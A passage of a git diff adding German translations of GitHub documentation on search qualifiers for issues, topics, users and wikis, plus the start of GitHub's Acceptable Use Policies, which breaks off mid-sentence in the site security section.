+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) gleicht Issues mit dem Begriff „weird“ im Text ab, die nach Februar 2013 aktualisiert wurden.
+
+## Suche nach dem Datum der Schließung eines Issues oder Pull Requests
+
+Mit dem Qualifizierer `closed` kannst du Issues und Pull Requests nach dem Schließungszeitpunkt filtern.
+
+Der Qualifizierer verwendet als Parameter ein Datum. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) gleicht Issues und Pull Requests in Swift ab, die nach dem 11. Juni 2014 geschlossen wurden.
+| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) gleicht Issues und Pull Requests mit dem Begriff „data“ im Text ab, die vor Oktober 2012 geschlossen wurden.
+
+## Suche nach dem Merge-Datum eines Issues oder Pull Requests
+
+Mit dem Qualifizierer `merged` kannst du Pull Requests basierend auf deren Mergezeitpunkt filtern.
+
+Der Qualifizierer verwendet als Parameter ein Datum. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>merged:<em>YYYY-MM-DD</em></code> | [ **`language:javascript merged:<2011-01-01`**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) gleicht Pull Requests in JavaScript-Repositorys ab, die vor 2011 gemergt wurden.
+| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) gleicht Pull Requests in Ruby mit dem Begriff „fast“ im Titel ab, die nach Mai 2014 gemergt wurden.
+
+## Suche nach dem Merge-Status eines Pull Requests
+
+Mit dem Qualifizierer `is` kannst du Pull Requests basierend darauf filtern, ob sie gemergt sind oder nicht.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `is:merged` | [**bug is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) gleicht gemergte Pull Requests mit dem Begriff „bug“ ab.
+| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) gleicht Pull Requests mit dem Begriff „error“ ab, die entweder offen sind oder geschlossen wurden, ohne gemergt zu werden.
+
+## Suche auf Basis der Archivierung eines Repositorys
+
+Mit dem Qualifizierer `archived` werden deine Ergebnisse basierend darauf gefiltert, ob ein Issue oder Pull Request sich in einem archivierten Repository befindet.
+
+| Qualifizierer     | Beispiel
+| ------------- | -------------
+| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) gleicht Issues und Pull Requests ab, die den Begriff „GNOME“ enthalten und sich in archivierten Repositorys befinden, auf die du Zugriff hast.
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) gleicht Issues und Pull Requests ab, die den Begriff „GNOME“ enthalten und sich in nicht archivierten Repositorys befinden, auf die du Zugriff hast.
+
+## Suche nach dem Sperrstatus einer Unterhaltung
+
+Mit dem Qualifizierer `is` kannst du nach Issues oder Pull Requests mit gesperrten Unterhaltungen suchen. Weitere Informationen findest du unter [Sperren von Unterhaltungen](/communities/moderating-comments-and-conversations/locking-conversations).
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) gleicht Issues oder Pull Requests mit dem Begriff „code of conduct“ ab, die über eine gesperrte Unterhaltung in einem nicht archivierten Repository verfügen.
+| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) gleicht Issues oder Pull Requests mit dem Begriff „code of conduct“ ab, die über eine nicht gesperrte Unterhaltung in einem nicht archivierten Repository verfügen.
+
+## Suche nach fehlenden Metadaten
+
+Mit dem Qualifizierer `no` kannst du deine Suche auf Issues und Pull Requests eingrenzen, bei denen bestimmte Metadaten fehlen. Hierbei kannst du nach folgenden fehlenden Metadaten suchen:
+
+* Bezeichnungen
+* Meilensteine
+* Bearbeiter
+* Projekte
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) gleicht Issues und Pull Requests mit dem Begriff „priority“ ab, die über keine Kennzeichnung verfügen.
+| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) gleicht Issues ab, die keinem Meilenstein zugeordnet sind und den Begriff „sprint“ enthalten.
+| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) gleicht Issues ab, die niemandem zugewiesen sind, den Begriff „important“ enthalten und sich in Java-Repositorys befinden.
+| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) gleicht Issues ab, die keinem Projektboard zugeordnet sind und den Begriff „build“ enthalten.
+
+## Weiterführende Themen
+
+- [Sortieren von Suchergebnissen](/search-github/getting-started-with-searching-on-github/sorting-search-results/)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-topics.md b/translations/de-DE/content/search-github/searching-on-github/searching-topics.md
new file mode 100644
index 0000000000..bd113577c1
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-topics.md
@@ -0,0 +1,60 @@
+---
+title: Themen durchsuchen
+intro: 'Auf {% data variables.product.product_name %} kannst du Themen suchen, die Repositorys zugeordnet sind.'
+redirect_from:
+  - /articles/searching-topics
+  - /github/searching-for-information-on-github/searching-topics
+  - /github/searching-for-information-on-github/searching-on-github/searching-topics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: b409f8476fe4191bab22ba90e502f18470937f4d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106024'
+---
+## {% data variables.product.product_name %} nach Themen durchsuchen
+
+Du kannst auf {% data variables.product.product_name %} Themen suchen, zugehörige Themen untersuchen und ermitteln, wie viele Repositorys einem bestimmten Thema zugeordnet sind.
+
+1. Navigieren Sie zu https://github.com/search.
+2. Gib ein Stichwort zum Thema ein.
+  ![Suchfeld](/assets/images/help/search/search-field.png)
+3. Klicke in der linken Seitenleiste auf **Themen**, um die Suche auf Themen einzuschränken.
+{% ifversion fpt or ghec %} ![Seite im Jekyll-Repository mit Suchergebnissen, Seitenmenüoption „Themen“ hervorgehoben](/assets/images/help/search/topic-left-side-navigation-dotcom.png){% else %} ![Seite im Jekyll-Repository mit Suchergebnissen in Dotcom, Seitenmenüoption „Themen“ hervorgehoben](/assets/images/help/search/topic-left-side-navigation.png){% endif %}
+
+## Suche durch Qualifizierer eingrenzen
+
+Wenn du Repositorys nach einem bestimmten Thema durchsuchen, Themen zum Beitragen finden oder erfahren möchtest, welche Themen in {% data variables.product.product_name %} am beliebtesten sind, kannst du Themen mit den Suchqualifizierern `is:featured`, `is:curated`, `repositories:n` und `created:YYYY-MM-DD` durchsuchen.
+
+Der Suchqualifizierer `is:featured` grenzt die Suchergebnisse auf die Themen mit den meisten Repositorys in {% data variables.product.product_name %} ein. Diese Themen werden auch auf https://github.com/topics/ empfohlen.
+
+Der Suchqualifizierer `is:curated` grenzt die Suchergebnisse auf Themen ein, zu denen Communitymitglieder zusätzliche Informationen hinzugefügt haben. Weitere Informationen findest du unter [Erkunden von Repositorys](https://github.com/github/explore).
+
+Mit dem Datumsparameter und `created:` kannst du Themen nach ihrem Erstellungsdatum filtern, und mit `repositories:n` kannst du nach der Anzahl der einem Thema zugeordneten Repositorys filtern. Beide Qualifizierer können die [Bereichsqualifizierer „größer als“ und „kleiner als“](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) verwenden.
+
+{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer  | Beispiel |
+| ------------- | -------------
+| `is:curated`| [**is:curated javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Acurated&type=Topics) sucht nach Themen, die kuratiert werden und das Wort „javascript“ enthalten.
+| `is:featured` | [**is:featured javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Afeatured&type=Topics) sucht nach Themen, die auf https://github.com/topics/ empfohlen werden und das Wort „javascript“ enthalten.
+|  `is:not-curated` | [**is:not-curated javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Anot-curated&type=Topics) sucht nach Themen, die keine zusätzlichen Informationen enthalten – z. B. eine Beschreibung oder ein Logo – und das Wort „javascript“ enthalten.
+|  `is:not-featured`| [**is:not-featured javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Anot-featured&type=Topics) sucht nach Themen, die auf https://github.com/topics/ nicht empfohlen werden und das Wort „javascript“ enthalten.
+| `repositories:n` | [**repositories:&gt;5000**](https://github.com/search?q=repositories%3A%3E5000) sucht nach Themen, die mehr als 5000 Repositorys enthalten.
+| <code>created:<em>YYYY-MM-DD</em></code> | [**Serverless created:&gt;2019-01-01**](https://github.com/search?q=Serverless+created%3A%3E2019-01-01&type=Topics) sucht nach Themen mit dem Wort „serverless“, die nach 2018 erstellt wurden.
+
+## Repositorys nach Themen durchsuchen
+
+Mit dem Qualifizierer `topic:` kannst du nach allen mit einem bestimmten Thema verknüpften Repositorys suchen. Weitere Informationen findest du unter [Suchen nach Repositorys](/search-github/searching-on-github/searching-for-repositories/#search-by-topic).
+
+## Weiterführende Themen
+- [Klassifizieren deines Repositorys mit Themen](/articles/classifying-your-repository-with-topics)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-users.md b/translations/de-DE/content/search-github/searching-on-github/searching-users.md
new file mode 100644
index 0000000000..51c036f925
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-users.md
@@ -0,0 +1,112 @@
+---
+title: Benutzer durchsuchen
+intro: 'Auf {% data variables.product.product_name %} kannst du Benutzer durchsuchen und die Suchergebnisse mit den folgenden Kennzeichnern der Benutzersuche in beliebiger Kombination eingrenzen.'
+redirect_from:
+  - /articles/searching-users
+  - /github/searching-for-information-on-github/searching-users
+  - /github/searching-for-information-on-github/searching-on-github/searching-users
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: cf3af1837e398226bee7d926e5dae0fd437879c7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133850'
+---
+Du kannst auf {% data variables.product.product_name %} global nach Benutzern suchen. Weitere Informationen findest du unter [Informationen zur Suche auf {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github).
+
+{% data reusables.search.syntax_tips %}
+
+## Suche nur nach Benutzern oder nur nach Organisationen
+
+Die Suche nach Benutzern gibt standardmäßig sowohl persönliche Konten als auch Organisationen zurück. Mit dem Qualifizierer `type` kannst du die Suchergebnisse jedoch auf persönliche Konten oder Organisationen eingrenzen.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `type:user` | Mit [**mike in:name created:&lt;2011-01-01 type:user**](https://github.com/search?q=mike+in:name+created%3A%3C2011-01-01+type%3Auser&type=Users) werden persönliche Konten mit dem Namen „mike“ ermittelt, die vor 2011 erstellt wurden.
+| `type:org` | Mit [**data in:email type:org**](https://github.com/search?q=data+in%3Aemail+type%3Aorg&type=Users) werden Organisationen mit dem Begriff „data“ in der E-Mail-Adresse ermittelt.
+
+## Suche nach Kontoname, vollständigem Namen oder öffentlicher E-Mail-Adresse
+
+Du kannst deine Suche mit den Qualifizierern `user` oder `org` auf den Namen eines persönlichen Benutzerkontos oder eines Organisationskontos eingrenzen.
+
+Mit dem Qualifizierer `in` kannst du die Suche auf den Benutzernamen (`login`), den vollständigen Namen oder die öffentliche E-Mail-Adresse von Benutzer*innen oder Organisationen bzw. auf eine beliebige Kombination derselben eingrenzen. Ohne diesen Qualifizierer werden nur Benutzernamen und E-Mail-Adressen durchsucht. Aus Datenschutzgründen ist die Suche nach E-Mail-Domänen-Namen nicht möglich.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `user:name` | Mit [**user:octocat**](https://github.com/search?q=user%3Aoctocat&type=Users) wird die*der Benutzer*in mit dem Benutzernamen „octocat“ ermittelt.
+| `org:name` | Mit [**org:electron type:users**](https://github.com/search?q=org%3Aelectron+type%3Ausers&type=Users) wird der Kontoname der Organisation „Electron“ ermittelt.
+| `in:login` | Mit [**kenya in:login**](https://github.com/search?q=kenya+in%3Alogin&type=Users) werden Benutzer*innen mit dem Begriff „kenya“ im Benutzernamen ermittelt.
+| `in:name` | Mit [**bolton in:name**](https://github.com/search?q=bolton+in%3Afullname&type=Users) werden Benutzer*innen ermittelt, deren richtiger Name den Begriff „bolton“ enthält.
+| `fullname:firstname lastname` | Mit [**fullname:nat friedman**](https://github.com/search?q=fullname%3Anat+friedman&type=Users) wird ein*e Benutzer*in mit dem vollständigen Namen „Nat Friedman“ ermittelt. Hinweis: In diesem Suchkennzeichner werden Leerzeichen beachtet.
+| `in:email` | Mit [**data in:email**](https://github.com/search?q=data+in%3Aemail&type=Users&utf8=%E2%9C%93) werden Benutzer*innen mit dem Begriff „data“ in der E-Mail-Adresse ermittelt.
+
+## Suche nach der Anzahl der Repositorys eines Benutzers
+
+Du kannst Benutzer*innen basierend auf der Anzahl von Repositorys filtern, die sich in ihrem Besitz befinden. Verwende dazu den Qualifizierer `repos` und [Qualifizierer für „größer als“ oder „kleiner als“ sowie Bereichsqualifizierer](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>repos:<em>n</em></code> | Mit [**repos:>9000**](https://github.com/search?q=repos%3A%3E%3D9000&type=Users) werden Benutzer*innen ermittelt, die mehr als 9.000 Repositorys besitzen.
+| | Mit [**bert repos:10..30**](https://github.com/search?q=bert+repos%3A10..30&type=Users) werden Benutzer*innen ermittelt, deren Benutzername oder echter Name den Begriff „bert“ enthält und die zwischen 10 und 30 Repositorys besitzen.
+
+## Suche nach dem Standort
+
+Du kannst Benutzer nach dem Standort suchen, der in ihrem Profil angegeben ist.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>location:<em>LOCATION</em></code> | Mit [**repos:1 location:iceland**](https://github.com/search?q=repos%3A1+location%3Aiceland&type=Users) werden Benutzer*innen ermittelt, die genau ein Repository besitzen und in Island leben.
+
+## Suche nach der Repository-Sprache
+
+Mit dem Qualifizierer `language` kannst du basierend auf den Sprachen der Repositorys, die sich im Besitz der Benutzer*innen befinden, nach Benutzer*innen suchen.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>language:<em>LANGUAGE</em></code> | Mit [**language:javascript location:russia**](https://github.com/search?q=language%3Ajavascript+location%3Arussia&type=Users) werden Benutzer*innen in Russland ermittelt, deren Repositorys hauptsächlich in JavaScript geschrieben wurden.
+| | Mit [**jenny language:javascript in:fullname**](https://github.com/search?q=jenny+language%3Ajavascript+in%3Afullname&type=Users) werden Benutzer*innen mit JavaScript-Repositorys ermittelt, deren vollständiger Name den Begriff „jenny“ enthält.
+
+## Suche nach dem Erstellungsdatum eines persönlichen Kontos
+
+Mit dem Qualifizierer `created` kannst du Benutzer*innen nach dem Datum ihres Beitritts zu {% data variables.product.product_name %} filtern. Der Qualifizierer verwendet als Parameter ein Datum. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>created:<em>YYYY-MM-DD</em></code> | Mit [**created:<2011-01-01**](https://github.com/search?q=created%3A%3C2011-01-01&type=Users) werden Benutzer*innen ermittelt, die vor 2011 beigetreten sind.
+| | Mit [**created:>=2013-05-11**](https://github.com/search?q=created%3A%3E%3D2013-05-11&type=Users) werden Benutzer*innen ermittelt, die am oder nach dem 11. Mai 2013 beigetreten sind.
+| | Mit [**created:2013-03-06 location:london**](https://github.com/search?q=created%3A2013-03-06+location%3Alondon&type=Users) werden Benutzer*innen ermittelt, die am 6. März 2013 beigetreten sind und London als Standort angegeben haben.
+| | Mit [**created:2010-01-01..2011-01-01 john in:login**](https://github.com/search?q=created%3A2010-01-01..2011-01-01+john+in%3Ausername&type=Users) werden Benutzer*innen ermittelt, die zwischen 2010 und 2011 beigetreten sind und deren Benutzername den Begriff „john“ enthält.
+
+## Suche nach der Anzahl der Follower
+
+Du kannst Benutzer*innen basierend auf der Anzahl ihrer Follower filtern. Verwende dazu den Qualifizierer `followers` und [Qualifizierer für „größer als“ oder „kleiner als“ sowie Bereichsqualifizierer](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>followers:<em>n</em></code> | Mit [**followers:>=1000**](https://github.com/search?q=followers%3A%3E%3D1000&type=Users) werden Benutzer*innen mit mindestens 1.000 Followern ermittelt.
+| | Mit [**sparkle followers:1..10**](https://github.com/search?q=sparkle+followers%3A1..10&type=Users) werden Benutzer*innen mit 1 bis 10 Followern und dem Begriff „sparkle“ im Namen ermittelt.
+
+{% ifversion fpt or ghec %}
+
+## Suche basierend auf der Möglichkeit zum Sponsern
+
+Mit dem Qualifizierer `is:sponsorable` kannst du nach Benutzer*innen und Organisationen suchen, die in {% data variables.product.prodname_sponsors %} gesponsert werden können. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors).
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `is:sponsorable` | Mit [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Users) werden Benutzer*innen und Organisationen ermittelt, die über ein {% data variables.product.prodname_sponsors %}-Profil verfügen.
+
+{% endif %}
+
+## Weitere Informationsquellen
+
+- [Sortieren von Suchergebnissen](/search-github/getting-started-with-searching-on-github/sorting-search-results/)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-wikis.md b/translations/de-DE/content/search-github/searching-on-github/searching-wikis.md
new file mode 100644
index 0000000000..5e796ed40d
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-wikis.md
@@ -0,0 +1,57 @@
+---
+title: Wikis durchsuchen
+intro: 'Auf {% data variables.product.product_name %} kannst du Wikis durchsuchen und die Suchergebnisse mit den folgenden Kennzeichnern der Wiki-Suche in beliebiger Kombination eingrenzen.'
+redirect_from:
+  - /articles/searching-wikis
+  - /github/searching-for-information-on-github/searching-wikis
+  - /github/searching-for-information-on-github/searching-on-github/searching-wikis
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: da73bcaa13c718be9840483e2a34c4b90ba96e63
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106023'
+---
+Du kannst Wikis global auf {% data variables.product.product_name %} oder in bestimmten Repositorys oder Organisationen durchsuchen. Weitere Informationen findest du unter [Informationen zur Suche auf {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github).
+
+{% data reusables.search.syntax_tips %}
+
+## Suche innerhalb der Repositorys eines Benutzers oder einer Organisation
+
+Um nach Wiki-Seiten aus allen Repositorys zu suchen, die einem bestimmten Benutzer oder einer bestimmten Organisation gehören, kannst du den Qualifizierer `user` oder `org` verwenden. Verwende für die Suche nach Wiki-Seiten aus einem bestimmten Repository den Qualifizierer `repo`.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt**](https://github.com/search?q=user%3Adefunkt&type=Wikis) sucht Wiki-Seiten aus Repositorys, die dem Benutzer @defunkt.
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Wikis&utf8=%E2%9C%93) sucht Issues in Repositorys, die der Organisation GitHub gehören.
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:defunkt/gibberish**](https://github.com/search?q=user%3Adefunkt&type=Wikis) sucht Wiki-Seiten aus dem Repository „gibberish“ des Benutzers @defunkt.
+
+## Suche im Titel oder Text einer Wiki-Seite
+
+Der Qualifizierer `in` beschränkt die Suche auf den Titel oder den Textteil der Wiki-Seite. Ohne diesen Qualifizierer werden sowohl der Titel als auch der Textteil durchsucht.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `in:title` | [**usage in:title**](https://github.com/search?q=usage+in%3Atitle&type=Wikis) sucht in den Titeln von Wiki-Seiten nach dem Wort „usage“.
+| `in:body` | [**installation in:body**](https://github.com/search?q=installation+in%3Abody&type=Wikis) sucht im Textteil von Wiki-Seiten nach dem Wort „installation“.
+
+## Suche nach dem letzten Aktualisierungsdatum
+
+Der Qualifizierer `updated` beschränkt die Suche auf Wiki-Seiten, die zuletzt innerhalb des angegebenen Datumbereichs geändert wurden.
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**usage updated:>2016-01-01**](https://github.com/search?q=usage+updated%3A>2016-01-01&type=Wikis) sucht in Wiki-Seiten, die nach dem 1. Januar 2016 aktualisiert wurden, nach dem Wort „usage“.
+
+## Weiterführende Themen
+
+- [Sortieren von Suchergebnissen](/search-github/getting-started-with-searching-on-github/sorting-search-results/)
diff --git a/translations/de-DE/content/search/index.md b/translations/de-DE/content/search/index.md
new file mode 100644
index 0000000000..cd17a56f1b
--- /dev/null
+++ b/translations/de-DE/content/search/index.md
@@ -0,0 +1,16 @@
+---
+title: Suchen
+hidden: true
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+ms.openlocfilehash: 1a780ae1a9481af58598ac2a37eec1553b08f627
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108299'
+---
+
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md
new file mode 100644
index 0000000000..0d83fe023a
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md
@@ -0,0 +1,119 @@
+---
+title: Richtlinien zur akzeptablen Nutzung von GitHub
+redirect_from:
+  - /articles/github-acceptable-use-policies
+  - /github/site-policy/github-acceptable-use-policies
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: c24228a3c5537962b2e22e51644cc67e77d8fe69
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099180'
+---
+**Kurzfassung:** _Wir hosten eine Vielzahl von Kooperationsprojekten aus der ganzen Welt, und diese Zusammenarbeit funktioniert nur, wenn unsere Nutzer in gutem Glauben zusammenarbeiten können. Bei der Nutzung des Dienstes müssen Sie unsere Richtlinien zur akzeptablen Nutzung einhalten, die einige Einschränkungen für Inhalt und Verhalten auf GitHub in Bezug auf Nutzersicherheit, geistiges Eigentum, Datenschutz, Authentizität und andere Einschränkungen enthalten. Kurz gesagt, wir wünschen uns einen hervorragenden Umgang miteinander._
+
+Großgeschriebene Begriffe, die in diesen Richtlinien zur akzeptablen Nutzung verwendet, aber nicht definiert werden, haben die Bedeutung, die ihnen in unseren [Nutzungsbedingungen](/articles/github-terms-of-service), [Nutzungsbedingungen für Unternehmen](/articles/github-corporate-terms-of-service) und unserer [Datenschutzerklärung](/articles/github-privacy-statement) zugewiesen wurde. Für Kunden, die den [Nutzungsbedingungen für Unternehmen](/articles/github-corporate-terms-of-service) unterliegen, beziehen sich „Sie“ und „Ihr“ auf „Kunde“ oder „Nutzer“. „Wir“, „uns“, „unser“ beziehen sich auf „GitHub“.
+
+## 1. Einhaltung von Gesetzen und Vorschriften
+Sie sind dafür verantwortlich, den Dienst in Übereinstimmung mit allen anwendbaren Gesetzen, Vorschriften und allen unseren Richtlinien zur akzeptablen Nutzung zu nutzen. Diese Richtlinien können von Zeit zu Zeit aktualisiert werden und werden unten sowie in unserer [Nutzungsbedingungen](/articles/github-terms-of-service) und [Nutzungsbedingungen für Unternehmen](/articles/github-corporate-terms-of-service) bereitgestellt.
+
+## 2. Nutzersicherheit
+Wir gestatten keine Inhalte oder Aktivitäten auf GitHub, die:
+
+- rechtswidrig sind oder rechtswidrige Aktivitäten fördern;
+
+- [sexuell obszön](/github/site-policy/github-sexually-obscene-content) sind oder sich auf sexuelle Ausbeutung oder sexuellen Missbrauch beziehen, einschließlich von Minderjährigen;
+
+- verleumderisch, diffamierend oder betrügerisch sind;
+
+- [diskriminierend oder missbräuchlich](/github/site-policy/github-hate-speech-and-discrimination) gegenüber einer Person oder Gruppe sind;
+
+- [falsche, ungenaue oder absichtlich irreführende Informationen](/github/site-policy/github-misinformation-and-disinformation) darstellen und wahrscheinlich das öffentliche Interesse negativ beeinflussen (einschließlich Gesundheit, Sicherheit, Wahlintegrität und Bürgerbeteiligung);
+
+- eine andere Person oder Gruppe [belästigen oder beleidigen](/github/site-policy/github-bullying-and-harassment), einschließlich unserer Mitarbeiter, leitenden Angestellten und Vertreter oder anderer Nutzer;
+
+- einer Person oder Gruppe [Gewalt androhen oder dazu aufrufen](/github/site-policy/github-threats-of-violence-and-gratuitously-violent-content), insbesondere auf der Grundlage dessen, wer sie sind; 
+
+- [unnötigerweise Gewalt darstellen oder verherrlichen](/github/site-policy/github-threats-of-violence-and-gratuitously-violent-content), einschließlich gewalttätiger Bilder; oder
+
+- nicht zum Thema gehören oder auf eine Weise mit Plattformfunktionen interagieren, die in erheblichem Maße oder wiederholt [die Erfahrung anderer Nutzer stört](/github/site-policy/github-disrupting-the-experience-of-other-users).
+
+
+## 3. Geistiges Eigentum, Authentizität und private Informationen
+Wir gestatten keine Inhalte oder Aktivitäten auf GitHub, die:
+
+- Eigentumsrechte einer Partei verletzen, darunter Patente, Marken, Geschäftsgeheimnisse, Urheberrechte, Veröffentlichungsrechte oder andere Rechte;
+
+- unrechtmäßig nicht autorisierte Produktlizenzschlüssel, Software zum Generieren nicht autorisierter Produktlizenzschlüssel oder Software zum Umgehen von Prüfungen auf Produktlizenzschlüssel weitergeben, einschließlich der Verlängerung einer kostenlosen Lizenz über den Testzeitraum hinaus;
+
+- [eine andere natürliche oder juristische Person imitieren](/github/site-policy/github-impersonation), einschließlich unserer Mitarbeiter oder Vertreter, einschließlich durch falsche Verbindung mit GitHub oder durch betrügerische Falschdarstellung Ihrer Identität oder des Zwecks der Website; oder
+
+- [die Privatsphäre Dritter verletzen](/github/site-policy/github-doxxing-and-invasion-of-privacy), z. B. durch das Posten der personenbezogenen Daten einer anderen Person ohne deren Zustimmung.
+
+## 4. Spam und nicht authentische Aktivitäten auf GitHub
+Wir gestatten keine Inhalte oder Aktivitäten auf GitHub, bei denen es sich um Folgendes handelt:
+- automatisierte übermäßige Massenaktivität und koordinierte nicht authentische Aktivität, wie z. B. 
+   * Spamming 
+   * Mining von Kryptowährungen;
+* Massenverteilung von Werbeaktionen und Werbung, die durch die Bedingungen und Richtlinien von GitHub verboten sind;
+* nicht authentische Interaktionen wie gefälschte Konten und automatisierte nicht authentische Aktivitäten;
+* Rangmissbrauch, wie z. B. automatisches Markieren oder Folgen;
+* Schaffung von oder Teilnahme an Sekundärmärkten zum Zwecke der Verbreitung nicht authentischer Aktivitäten;
+* Nutzung von GitHub als Plattform zur Verbreitung von Missbrauch auf anderen Plattformen;
+* Phishing oder versuchtes Phishing; oder
+* Nutzung unserer Server für jede Form von übermäßiger automatisierter Massenaktivität, um unsere Server durch automatisierte Verfahren übermäßig zu belasten oder um jede Form von unerwünschter Werbung oder Aufforderung über unsere Server weiterzuleiten, wie z. B. Programme, die schnellen Reichtum versprechen.
+
+## 5. Website-Zugriff und -Sicherheit
+Wir gestatten keine Inhalte oder Aktivitäten auf GitHub, die:
+
+- unmittelbar [rechtswidrige aktive Angriffs- oder Malware-Kampagnen](/github/site-policy/github-active-malware-or-exploits) unterstützen, die technische Schäden verursachen – wie die Nutzung unserer Plattform zur Bereitstellung bösartiger ausführbarer Dateien oder als Angriffsinfrastruktur, beispielsweise durch die Organisation von Denial-of-Service-Angriffen oder die Verwaltung von Command-and-Control-Servern – ohne impliziten oder expliziten Dual-Use-Zweck vor dem Auftreten des Missbrauchs; oder
